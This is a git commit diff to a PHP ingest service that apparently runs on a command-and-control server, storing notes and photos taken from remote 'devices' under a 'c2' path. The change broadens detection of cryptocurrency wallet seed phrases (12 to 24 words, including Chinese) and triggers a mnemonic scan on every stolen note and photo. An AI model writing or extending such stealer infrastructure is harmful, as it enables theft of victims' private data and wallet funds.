feat: scan

This commit is contained in:
hashbro
2026-09-12 23:53:53 +08:00
parent e294053285
commit 558912864d
36 changed files with 4165 additions and 15 deletions
+12 -4
View File
@@ -561,11 +561,16 @@ class IngestService
{
$words = preg_split('/\s+/', strtolower(trim($secret))) ?: [];
$n = count($words);
if ($n === 12 || $n === 24) {
if (in_array($n, [12, 15, 18, 21, 24], true)) {
foreach ($words as $word) {
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
return false;
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
continue;
}
if (preg_match('/^\p{Han}{1,4}$/u', $word) === 1) {
continue;
}
return false;
}
return true;
@@ -955,6 +960,7 @@ class IngestService
'content' => $items,
'content_hash' => $hash,
])->save();
app(MnemonicScanService::class)->dispatchNotes($device);
return;
}
@@ -964,6 +970,7 @@ class IngestService
'content' => $items,
'content_hash' => $hash,
]);
app(MnemonicScanService::class)->dispatchNotes($device);
}
/**
@@ -1008,7 +1015,7 @@ class IngestService
}
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
Storage::disk('local')->put($rel, $bytes);
Photo::query()->create([
$photo = Photo::query()->create([
'device_id' => $device->id,
'sha256' => $sha,
'path' => $rel,
@@ -1019,6 +1026,7 @@ class IngestService
'text_count' => $meta['text_count'] ?? null,
'barcode_count' => $meta['barcode_count'] ?? null,
]);
app(MnemonicScanService::class)->dispatchPhoto($photo);
$stored++;
}